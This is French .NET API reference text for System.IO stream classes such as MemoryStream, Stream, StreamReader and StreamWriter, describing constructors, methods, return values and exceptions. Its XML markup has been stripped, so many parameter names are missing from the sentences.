+ + + Écrit un nombre entier 32 bits dans un format compressé. + Entier 32 bits à écrire. + La fin du flux est atteinte. + Le flux est fermé. + Le flux est fermé. + + + Exception levée en cas de tentative de lecture au-delà de la fin du flux. + 2 + + + Initialise une nouvelle instance de la classe dont la chaîne de message correspond à un message fourni par le système et HRESULT équivaut à COR_E_ENDOFSTREAM. + + + Initialise une nouvelle instance de la classe dont la chaîne de message correspond à et HRESULT équivaut à COR_E_ENDOFSTREAM. + Chaîne qui décrit l'erreur.Le contenu du doit être compréhensible pour les utilisateurs.L'appelant de ce constructeur doit vérifier que cette chaîne a été localisée pour la culture du système en cours. + + + Initialise une nouvelle instance de la classe avec un message d'erreur spécifié et une référence à l'exception interne ayant provoqué cette exception. + Chaîne qui décrit l'erreur.Le contenu du doit être compréhensible pour les utilisateurs.L'appelant de ce constructeur doit vérifier que cette chaîne a été localisée pour la culture du système en cours. + Exception qui constitue la cause de l'exception actuelle.Si le paramètre n'est pas null, l'exception en cours est levée dans un bloc catch qui gère l'exception interne. + + + Exception qui est levée lorsque le format d'un flux de données n'est pas valide. + + + Initialise une nouvelle instance de la classe . + + + Initialise une nouvelle instance de la classe avec un message d'erreur spécifié. + Message d'erreur indiquant la raison de l'exception. + + + Initialise une nouvelle instance de la classe avec une référence à l'exception interne qui est la cause de cette exception. + Message d'erreur indiquant la raison de l'exception. + Exception qui constitue la cause de l'exception actuelle.Si le paramètre n'est pas null, l'exception en cours est levée dans un bloc catch qui gère l'exception interne. + + + Crée un flux dont le magasin de stockage est la mémoire.Pour parcourir le code source de .NET Framework pour ce type, consultez la Reference Source. + 2 + + + Initialise une nouvelle instance de la classe avec une capacité extensible initialisée à zéro. + + + Initialise une nouvelle instance non redimensionnable de la classe en fonction du tableau d'octets spécifié. + Tableau d'octets non signés à partir duquel créer le flux actuel. + + a la valeur null. + + + Initialise une nouvelle instance non redimensionnable de la classe en fonction du tableau d'octets spécifié, avec la propriété spécifiée. + Tableau d'octets non signés à partir duquel créer ce flux. + Définition de la propriété , qui détermine si le flux prend en charge l'écriture. + + a la valeur null. + + + Initialise une nouvelle instance non redimensionnable de la classe en fonction de la région (index) spécifiée d'un tableau d'octets. + Tableau d'octets non signés à partir duquel créer ce flux. + Index dans auquel commence le flux. + Longueur du flux en octets. + + a la valeur null. + + ou est inférieur à zéro. + La longueur de la mémoire tampon moins est inférieure à . + + + Initialise une nouvelle instance non redimensionnable de la classe en fonction de la région spécifiée d'un tableau d'octets, avec la propriété spécifiée. + Tableau d'octets non signés à partir duquel créer ce flux. + Index dans auquel commence le flux. + Longueur du flux en octets. + Définition de la propriété , qui détermine si le flux prend en charge l'écriture. + + a la valeur null. + + ou est négatif. + La longueur de la mémoire tampon moins est inférieure à . + + + Initialise une nouvelle instance de la classe en fonction de la région spécifiée d'un tableau d'octets, avec la propriété spécifiée et la possibilité d'appeler comme spécifié. + Tableau d'octets non signés à partir duquel créer ce flux. + Index dans auquel commence le flux. + Longueur du flux en octets. + Définition de la propriété , qui détermine si le flux prend en charge l'écriture. + true pour activer , qui retourne le tableau d'octets non signés à partir duquel le flux a été créé ; sinon, false. + + a la valeur null. + + ou est négatif. + La longueur de la mémoire tampon moins est inférieure à . + + + Initialise une nouvelle instance de la classe avec une capacité extensible initialisée à la valeur spécifiée. + Taille initiale du tableau interne, en octets. + + est négatif. + + + Obtient une valeur indiquant si le flux actuel prend en charge la lecture. + true si le flux est ouvert. + 2 + + + Obtient une valeur indiquant si le flux actuel prend en charge la recherche. + true si le flux est ouvert. + 2 + + + Obtient une valeur indiquant si le flux actuel prend en charge l'écriture. + true si le flux prend en charge l'écriture ; sinon, false. + 2 + + + Obtient ou définit le nombre d'octets alloués pour ce flux. + Longueur de la partie de la mémoire tampon qui peut être utilisée pour le flux. + La capacité définie correspond à une valeur négative ou est inférieure à la longueur actuelle du flux. + Le flux actuel est fermé. + set est appelé sur un flux dont la capacité ne peut pas être modifiée. + 2 + + + Lit de façon asynchrone tous les octets du flux actuel et les écrit dans un autre flux, en utilisant une taille de mémoire tampon et un jeton d'annulation spécifiés. + Tâche qui représente l'opération de copie asynchrone. + Flux vers lequel le contenu du flux actuel sera copié. + Taille en octets de la mémoire tampon.Cette valeur doit être supérieure à zéro. + Jeton pour surveiller les demandes d'annulation. + + a la valeur null. + + est négatif ou égal à zéro. + Le flux de données actuel ou le flux de données de destination est supprimé. + Le flux de données actuel ne prend pas en charge la lecture, ou le flux de données de destination ne prend pas en charge l'écriture. + + + Libère les ressources non managées utilisées par la classe et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + Remplace la méthode afin qu'aucune action ne soit effectuée. + 2 + + + Efface de façon asynchrone toutes les mémoires tampons pour ce flux et surveille les demandes d'annulation. + Tâche qui représente l'opération de vidage asynchrone. + Jeton pour surveiller les demandes d'annulation. + Le flux a été supprimé. + + + Obtient la longueur du flux en octets. + Longueur du flux en octets. + Le flux est fermé. + 2 + + + Obtient ou définit la position actuelle dans le flux. + Position actuelle dans le flux. + La position correspond à une valeur négative ou à une valeur supérieure à . + Le flux est fermé. + 2 + + + Lit un bloc d'octets à partir du flux actuel et écrit les données dans une mémoire tampon. + Nombre total d'octets écrits dans la mémoire tampon.Ce total peut être inférieur au nombre d'octets demandés si ce nombre d'octets n'est pas actuellement disponible, ou égal à zéro si la fin du flux a été atteinte avant que des octets soient lus. + Quand cette méthode retourne un résultat, contient le tableau d'octets spécifié dont les valeurs comprises entre et ( +  - 1) sont remplacées par les caractères lus dans le flux actuel. + Dans , décalage d'octet de base zéro auquel commencer le stockage des données à partir du flux actuel. + Nombre maximal d'octets à lire. + + a la valeur null. + + ou est négatif. + + soustrait à la longueur de la mémoire tampon est inférieur à . + L'instance du flux actuel est fermée. + 2 + + + Lit de façon asynchrone une séquence d'octets dans le flux actuel, avance la position dans le flux du nombre d'octets lus et surveille les demandes d'annulation. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Mémoire tampon dans laquelle les données sont écrites. + Dans , décalage d'octet auquel commencer l'écriture des données à partir du flux. + Nombre maximal d'octets à lire. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge la lecture. + Le flux a été supprimé. + Le flux est en cours d'utilisation par une opération de lecture précédente. + + + Lit un octet dans le flux actuel. + Conversion du type (transtypage) de l'octet en , ou -1 si la fin du flux a été atteinte. + L'instance du flux actuel est fermée. + 2 + + + Définit la position dans le flux actuel à la valeur spécifiée. + Nouvelle position dans le flux, calculée en combinant le point de référence initial et le décalage. + Nouvelle position dans le flux.Elle est relative au paramètre et peut être positive ou négative. + Valeur de type , qui sert de point de référence à la recherche. + Tentative de recherche avant le début du flux. + + est supérieur à . + Un n'est pas valide. ou a entraîné des dépassements de capacité arithmétiques. + L'instance du flux actuel est fermée. + 2 + + + Définit la longueur du flux actuel à la valeur spécifiée. + Valeur à laquelle définir la longueur. + Le flux actuel n'est pas redimensionnable et est supérieur à la capacité actuelle.ou Le flux actuel ne prend pas en charge l'écriture. + + est négatif ou supérieur à la longueur maximale de , où la longueur maximale est ( - origine), et l'origine est l'index dans la mémoire tampon sous-jacente auquel commence le flux. + 2 + + + Écrit le contenu du flux dans un tableau d'octets, indépendamment de la propriété . + Nouveau tableau d'octets. + 2 + + + Retourne le tableau d'octets non signés à partir duquel ce flux a été créé.La valeur de retour indique si la conversion a réussi. + true si la conversion a réussi ; sinon, false. + Segment de tableau d'octets à partir duquel ce flux a été créé. + + + Écrit un bloc d'octets dans le flux actuel en utilisant des données lues dans une mémoire tampon. + Mémoire tampon dont sont issues les données à écrire. + Dans , décalage d'octet de base zéro auquel commencer la copie des octets dans le flux actuel. + Nombre maximal d'octets à écrire. + + a la valeur null. + Le flux ne prend pas en charge l'écriture.Pour plus d'informations, consultez .ou La position actuelle est à moins de octets de la fin du flux et la capacité ne peut pas être modifiée. + + soustrait à la longueur de la mémoire tampon est inférieur à . + + ou est négatif. + Une erreur d'E/S se produit. + L'instance du flux actuel est fermée. + 2 + + + Écrit de façon asynchrone une séquence d'octets dans le flux actuel, avance la position actuelle dans ce flux du nombre d'octets écrits et surveille les demandes d'annulation. + Tâche qui représente l'opération d'écriture asynchrone. + Mémoire tampon dont sont issues les données à écrire. + Dans , décalage d'octet de base zéro à partir duquel commencer la copie des octets dans le flux. + Nombre maximal d'octets à écrire. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge l'écriture. + Le flux a été supprimé. + Le flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un octet à la position actuelle dans le flux actuel. + Octet à écrire. + Le flux ne prend pas en charge l'écriture.Pour plus d'informations, consultez .ou La position actuelle est à la fin du flux et la capacité ne peut pas être modifiée. + Le flux actuel est fermé. + 2 + + + Écrit le contenu complet de ce flux de mémoire dans un autre flux. + Flux dans lequel écrire ce flux de mémoire. + + a la valeur null. + Le flux en cours ou le flux cible est fermé. + 2 + + + Spécifie la position au sein d'un flux à utiliser pour la recherche. + 2 + + + Spécifie le début d'un flux. + + + Spécifie la position actuelle au sein d'un flux. + + + Spécifie la fin d'un flux. + + + Fournit une vue générique d'une séquence d'octets.Il s'agit d'une classe abstraite.Pour parcourir le code source de .NET Framework pour ce type, consultez la Reference Source. + 2 + + + Initialise une nouvelle instance de la classe . + + + En cas de remplacement dans une classe dérivée, obtient une valeur indiquant si le flux actuel prend en charge la lecture. + true si le flux prend en charge la lecture ; sinon, false. + 1 + + + En cas de remplacement dans une classe dérivée, obtient une valeur indiquant si le flux actuel prend en charge la recherche. + true si le flux prend en charge la recherche ; sinon, false. + 1 + + + Obtient une valeur qui détermine si le flux actuel peut dépasser le délai d'attente. + Valeur qui détermine si le flux actuel peut dépasser le délai d'attente. + 2 + + + En cas de remplacement dans une classe dérivée, obtient une valeur indiquant si le flux actuel prend en charge l'écriture. + true si le flux prend en charge l'écriture ; sinon, false. + 1 + + + Lit les octets du flux actuel et les écrit dans un autre flux. + Flux vers lequel le contenu du flux actuel sera copié. + + a la valeur null. + Le flux actuel ne prend pas en charge la lecture.ou ne prend pas en charge l'écriture. + Le flux actuel ou de a été fermé avant l'appel de la méthode . + Une erreur d'E/S s'est produite. + + + Lit tous les octets du flux actuel et les écrit dans un autre flux, en utilisant une taille de mémoire tampon spécifiée. + Flux vers lequel le contenu du flux actuel sera copié. + Taille de la mémoire tampon.Cette valeur doit être supérieure à zéro.La taille par défaut est 81920. + + a la valeur null. + + est négatif ou égal à zéro. + Le flux actuel ne prend pas en charge la lecture.ou ne prend pas en charge l'écriture. + Le flux actuel ou de a été fermé avant l'appel de la méthode . + Une erreur d'E/S s'est produite. + + + Lit de façon asynchrone tous les octets du flux actuel et les écrit dans un autre flux. + Tâche qui représente l'opération de copie asynchrone. + Flux vers lequel le contenu du flux actuel sera copié. + + a la valeur null. + Le flux de données actuel ou le flux de données de destination est supprimé. + Le flux de données actuel ne prend pas en charge la lecture, ou le flux de données de destination ne prend pas en charge l'écriture. + + + Lit de façon asynchrone tous les octets du flux actuel et les écrit dans un autre flux, en utilisant une taille de mémoire tampon spécifiée. + Tâche qui représente l'opération de copie asynchrone. + Flux vers lequel le contenu du flux actuel sera copié. + Taille en octets de la mémoire tampon.Cette valeur doit être supérieure à zéro.La taille par défaut est 81920. + + a la valeur null. + + est négatif ou égal à zéro. + Le flux de données actuel ou le flux de données de destination est supprimé. + Le flux de données actuel ne prend pas en charge la lecture, ou le flux de données de destination ne prend pas en charge l'écriture. + + + Lit de façon asynchrone les octets du flux actuel et les écrit dans un autre flux, en utilisant une taille de mémoire tampon et d'un jeton d'annulation spécifiés. + Tâche qui représente l'opération de copie asynchrone. + Flux vers lequel le contenu du flux actuel sera copié. + Taille en octets de la mémoire tampon.Cette valeur doit être supérieure à zéro.La taille par défaut est 81920. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + est négatif ou égal à zéro. + Le flux de données actuel ou le flux de données de destination est supprimé. + Le flux de données actuel ne prend pas en charge la lecture, ou le flux de données de destination ne prend pas en charge l'écriture. + + + Libère toutes les ressources utilisées par . + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + En cas de remplacement dans une classe dérivée, efface toutes les mémoires tampons pour ce flux et provoque l'écriture de toutes les données se trouvant dans des mémoires tampons sur l'appareil sous-jacent. + Une erreur d'E/S se produit. + 2 + + + Efface de façon asynchrone toutes les mémoires tampons pour ce flux et provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent. + Tâche qui représente l'opération de vidage asynchrone. + Le flux a été supprimé. + + + Efface de façon asynchrone toutes les mémoires tampons pour ce flux, provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent et surveille les demandes d'annulation. + Tâche qui représente l'opération de vidage asynchrone. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + Le flux a été supprimé. + + + En cas de remplacement dans une classe dérivée, obtient la longueur du flux en octets. + Valeur de type long représentant la longueur du flux en octets. + Une classe dérivée de Stream ne prend pas en charge la recherche. + Des méthodes ont été appelées après que le flux a été fermé. + 1 + + + Élément Stream sans magasin de stockage. + 1 + + + En cas de remplacement dans une classe dérivée, obtient ou définit la position dans le flux actuel. + Position actuelle dans le flux. + Une erreur d'E/S se produit. + Le flux ne prend pas en charge la recherche. + Des méthodes ont été appelées après que le flux a été fermé. + 1 + + + En cas de remplacement dans une classe dérivée, lit une séquence d'octets dans le flux actuel et avance la position dans le flux du nombre d'octets lus. + Nombre total d'octets lus dans la mémoire tampon.Le nombre d'octets peut être inférieur au nombre d'octets demandés si ce nombre n'est pas actuellement disponible ou égal à zéro (0) si la fin du flux a été atteinte. + Tableau d'octets.Quand cette méthode retourne un résultat, la mémoire tampon contient le tableau d'octets spécifié dont les valeurs comprises entre et ( +  - 1) sont remplacées par les octets lus dans la source actuelle. + Dans , décalage d'octet de base zéro auquel commencer le stockage des données lues dans le flux actuel. + Nombre maximal d'octets à lire dans le flux actuel. + La somme de et de est supérieure à la longueur de la mémoire tampon. + + a la valeur null. + + ou est négatif. + Une erreur d'E/S se produit. + Le flux ne prend pas en charge la lecture. + Des méthodes ont été appelées après que le flux a été fermé. + 1 + + + Lit de façon asynchrone une séquence d'octets dans le flux actuel et avance la position dans le flux du nombre d'octets lus. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Mémoire tampon dans laquelle les données sont écrites. + Dans , décalage d'octet auquel commencer l'écriture des données à partir du flux. + Nombre maximal d'octets à lire. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge la lecture. + Le flux a été supprimé. + Le flux est en cours d'utilisation par une opération de lecture précédente. + + + Lit de façon asynchrone une séquence d'octets dans le flux actuel, avance la position dans le flux du nombre d'octets lus et surveille les demandes d'annulation. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Mémoire tampon dans laquelle les données sont écrites. + Dans , décalage d'octet auquel commencer l'écriture des données à partir du flux. + Nombre maximal d'octets à lire. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge la lecture. + Le flux a été supprimé. + Le flux est en cours d'utilisation par une opération de lecture précédente. + + + Lit un octet du flux et avance d'un octet la position au sein du flux, ou retourne -1 si la fin du flux a été atteinte. + Conversion de type (transtypage) de l'octet non signé en Int32, ou -1 si la fin du flux a été atteinte. + Le flux ne prend pas en charge la lecture. + Des méthodes ont été appelées après que le flux a été fermé. + 2 + + + Obtient ou définit une valeur, exprimée en millisecondes, qui définit la durée pendant laquelle le flux tentera d'effectuer la lecture avant d’expiration du délai d’attente. + Valeur exprimée en millisecondes, qui définit la durée pendant laquelle le flux tentera d'effectuer la lecture avant de dépasser le délai d'attente. + La méthode lève toujours . + 2 + + + En cas de remplacement dans une classe dérivée, définit la position dans le flux actuel. + Nouvelle position dans le flux actuel. + Offset d'octet par rapport au paramètre . + Valeur de type indiquant le point de référence utilisé pour obtenir la nouvelle position. + Une erreur d'E/S se produit. + Le flux ne prend pas en charge la recherche, comme s'il était construit à partir d'un canal ou d'une sortie console. + Des méthodes ont été appelées après que le flux a été fermé. + 1 + + + En cas de substitution dans une classe dérivée, définit la longueur de flux actuel. + Longueur souhaitée du flux actuel en octets. + Une erreur d'E/S se produit. + Le flux ne prend en charge ni l'écriture, ni la recherche, comme s'il était construit à partir d'un canal ou d'une sortie console. + Des méthodes ont été appelées après que le flux a été fermé. + 2 + + + En cas de remplacement dans une classe dérivée, écrit une séquence d'octets dans le flux actuel et avance la position actuelle dans ce flux du nombre d'octets écrits. + Tableau d'octets.Cette méthode copie octets à partir de dans le flux actuel. + Dans , décalage d'octet de base zéro auquel commencer la copie des octets dans le flux actuel. + Nombre d'octets à écrire dans le flux actuel. + La somme des  et  est supérieure à la longueur du tampon. + + est null. + + ou  est un nombre négatif. + Une erreur d'e/s est survenue, tels que le fichier spécifié est introuvable. + Le flux ne prend pas en charge l'écriture. + + a été appelée une fois que le flux a été fermé. + 1 + + + Écrit de façon asynchrone une séquence d'octets dans le flux actuel et avance la position actuelle dans le flux du nombre d'octets écrits. + Tâche qui représente l'opération d'écriture asynchrone. + Mémoire tampon dont sont issues les données à écrire. + Dans , décalage d'octet de base zéro à partir duquel commencer la copie des octets dans le flux. + Nombre maximal d'octets à écrire. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge l'écriture. + Le flux a été supprimé. + Le flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit de façon asynchrone une séquence d'octets dans le flux actuel, avance la position actuelle dans ce flux du nombre d'octets écrits et surveille les demandes d'annulation. + Tâche qui représente l'opération d'écriture asynchrone. + Mémoire tampon dont sont issues les données à écrire. + Dans , décalage d'octet de base zéro à partir duquel commencer la copie des octets dans le flux. + Nombre maximal d'octets à écrire. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge l'écriture. + Le flux a été supprimé. + Le flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un octet à la position actuelle dans le flux et avance d'un octet la position dans le flux. + Octet à écrire dans le flux. + Une erreur d'E/S se produit. + Le flux ne prend pas en charge l'écriture ou bien il est déjà fermé. + Des méthodes ont été appelées après que le flux a été fermé. + 2 + + + Obtient ou définit une valeur, exprimée en millisecondes, qui définit la durée pendant laquelle le flux tentera d'écrire des données avant l’expiration du délai d'attente. + Valeur exprimée en millisecondes, qui définit la durée pendant laquelle le flux tentera d'écrire des données avant de dépasser le délai d'attente. + La méthode lève toujours . + 2 + + + Implémente qui lit les caractères à partir d'un flux d'octets dans un encodage particulier.Pour parcourir le code source de .NET Framework pour ce type, consultez la Reference Source. + 1 + + + Initialise une nouvelle instance de la classe pour le flux spécifié. + Flux à lire. + + ne prend pas en charge la lecture. + + a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, avec l'option de détection de la marque d'ordre d'octet spécifiée. + Flux à lire. + Indique s'il faut rechercher les marques d'ordre des octets au début du fichier. + + ne prend pas en charge la lecture. + + a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, avec l'encodage de caractères spécifié. + Flux à lire. + Encodage des caractères à utiliser. + + ne prend pas en charge la lecture. + + ou a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, avec l'encodage de caractères et l'option de détection de la marque d'ordre d'octet spécifiés. + Flux à lire. + Encodage des caractères à utiliser. + Indique s'il faut rechercher les marques d'ordre des octets au début du fichier. + + ne prend pas en charge la lecture. + + ou a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, avec l'encodage de caractères, l'option de détection de la marque d'ordre d'octet et la taille de mémoire tampon spécifiés. + Flux à lire. + Encodage des caractères à utiliser. + Indique s'il faut rechercher les marques d'ordre des octets au début du fichier. + Taille minimale de la mémoire tampon. + Le flux ne prend pas en charge la lecture. + + ou a la valeur null. + + est inférieur ou égal à zéro. + + + Initialise une nouvelle instance de la classe pour le flux spécifié en fonction de l'encodage de caractères, de l'option de détection de la marque d'ordre d'octet et de la taille de mémoire tampon spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux à lire. + Encodage des caractères à utiliser. + true pour rechercher les marques d'ordre d'octet au début du fichier ; sinon, false. + Taille minimale de la mémoire tampon. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + + + Retourne le flux sous-jacent. + Flux sous-jacent. + 2 + + + Obtient l'encodage de caractères actuel utilisé par l'objet actuel. + Encodage des caractères actuel utilisé par le lecteur en cours.La valeur peut être différente après le premier appel à toute méthode de , car la détection automatique de l'encodage n'est effectuée qu'au premier appel à une méthode . + 2 + + + Efface la mémoire tampon interne. + 2 + + + Ferme le flux sous-jacent, libère les ressources non managées utilisées par l'élément et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + Obtient une valeur qui indique si la position actuelle dans le flux est à la fin du flux. + true si la position actuelle dans le flux est à la fin du flux ; sinon, false. + Le flux sous-jacent a été supprimé. + 1 + + + Objet autour d'un flux vide. + 1 + + + Retourne le caractère disponible suivant, mais ne le consomme pas. + Entier représentant le caractère suivant à lire, ou -1 s'il n'y a pas de caractère à lire ou si le flux ne prend pas en charge la recherche. + Une erreur d'E/S se produit. + 1 + + + Lit le caractère suivant dans le flux d'entrée et avance la position d'un caractère. + Caractère suivant du flux d'entrée, représenté sous la forme d'un objet , ou -1 s'il n'y a plus de caractère disponible. + Une erreur d'E/S se produit. + 1 + + + Lit un nombre maximal de caractères spécifié du flux actuel dans une mémoire tampon, en commençant à l'index spécifié. + Le nombre de caractères qui ont été lus, ou 0 si c'est la fin du flux et qu'aucune donnée n'a été lue.Le nombre sera inférieur ou égal à la valeur du paramètre , selon que les données sont, ou non, disponibles dans le flux. + Quand cette méthode retourne un résultat, contient le tableau de caractères spécifié dont les valeurs comprises entre et () sont remplacées par les caractères lus dans la source actuelle. + Index de auquel commencer l'écriture. + Nombre maximal de caractères à lire. + La longueur de la mémoire tampon moins est inférieure à . + + a la valeur null. + + ou est négatif. + Une erreur d'E/S, telle que la fermeture du flux, se produit. + 1 + + + Lit un nombre maximal spécifié de caractères dans le flux actuel de manière asynchrone, et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Quand cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source actuelle. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du flux est atteinte avant que le nombre de caractères spécifié soit écrit dans la mémoire tampon, la méthode en cours se termine. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit un nombre maximal spécifié de caractères à partir du flux actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Nombre de caractères lus.Le nombre sera inférieur ou égal à , selon que tous les caractères d'entrée ont été lus ou non. + Quand cette méthode retourne un résultat, contient le tableau de caractères spécifié dont les valeurs comprises entre et () sont remplacées par les caractères lus dans la source actuelle. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + + est fermé. + Une erreur d'E/S s'est produite. + + + Lit un nombre maximal spécifié de caractères dans le flux actuel de manière asynchrone, et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Quand cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source actuelle. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du flux est atteinte avant que le nombre de caractères spécifié soit écrit dans la mémoire tampon, la méthode se termine. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit une ligne de caractères du flux actuel et retourne les données sous forme de chaîne. + Ligne suivante du flux d'entrée, ou null si la fin du flux d'entrée est atteinte. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + Une erreur d'E/S se produit. + 1 + + + Lit une ligne de caractères de manière asynchrone dans le flux actuel et retourne les données sous forme de chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient la ligne suivante du flux, ou a la valeur null si tous les caractères ont été lus. + Le nombre de caractères contenus dans la ligne suivante est supérieur à . + Le flux a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit tous les caractères entre la position actuelle et la fin du flux. + Le reste du flux sous forme de chaîne, de la position actuelle jusqu'à la fin.Si la position actuelle est à la fin du flux, retourne une chaîne vide (""). + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + Une erreur d'E/S se produit. + 1 + + + Lit tous les caractères entre la position actuelle et la fin du flux de manière asynchrone, puis les retourne sous la forme d'une chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient une chaîne composée des caractères allant de la position actuelle à la fin du flux. + Le nombre de caractères est supérieur à . + Le flux a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Implémente pour écrire les caractères dans un flux selon un encodage particulier.Pour parcourir le code source de .NET Framework pour ce type, consultez la Source de référence. + 1 + + + Initialise une nouvelle instance de la classe pour le flux spécifié, à l'aide de l'encodage UTF-8 et de la taille de la mémoire tampon par défaut. + Le flux dans lequel écrire. + + n'est pas accessible en écriture. + + a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, à l'aide de l'encodage spécifié et de la taille de mémoire tampon par défaut. + Le flux dans lequel écrire. + Encodage des caractères à utiliser. + + ou est null. + + n'est pas accessible en écriture. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, à l'aide de l'encodage et de la taille de mémoire tampon spécifiés. + Le flux dans lequel écrire. + Encodage des caractères à utiliser. + Taille de la mémoire tampon en octets. + + ou est null. + + est négatif. + + n'est pas accessible en écriture. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, à l'aide de l'encodage et de la taille de mémoire tampon spécifiés, et permet éventuellement de laisser le flux ouvert. + Le flux dans lequel écrire. + Encodage des caractères à utiliser. + Taille de la mémoire tampon en octets. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + + ou est null. + + est négatif. + + n'est pas accessible en écriture. + + + Obtient ou définit une valeur indiquant si vide sa mémoire tampon vers le flux sous-jacent après chaque appel à . + true pour forcer à vider sa mémoire tampon ; sinon, false. + 1 + + + Obtient le flux sous-jacent qui sert d'interface avec un magasin de stockage. + Flux dans lequel ce StreamWriter écrit. + 2 + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + L'encodage actuel ne prend pas en charge l'affichage de la moitié d'une paire de substitution Unicode. + + + Obtient le dans lequel la sortie est écrite. + + spécifié dans le constructeur pour l'instance actuelle, ou si aucun encodage n'est spécifié. + 2 + + + Efface toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon dans le flux sous-jacent. + Le writer actuel est fermé. + Une erreur d'E/S s'est produite. + L'encodage actuel ne prend pas en charge l'affichage de la moitié d'une paire de substitution Unicode. + 1 + + + Efface toutes les mémoires tampons pour ce flux de manière asynchrone et provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent. + Tâche qui représente l'opération de vidage asynchrone. + Le flux a été supprimé. + + + Fournit un StreamWriter sans magasin de sauvegarde dans lequel il est possible d'écrire, mais qu'il est impossible de lire. + 1 + + + Écrit un caractère dans le flux. + Caractère à écrire dans le flux. + Une erreur d'E/S se produit. + + a la valeur true ou la mémoire tampon de est saturée, et le writer actuel est fermé. + + a la valeur true ou la mémoire tampon de est saturée, et le contenu de la mémoire tampon ne peut pas être écrit dans le flux de taille fixe sous-jacent, car se trouve à la fin du flux. + 1 + + + Écrit un tableau de caractères dans le flux. + 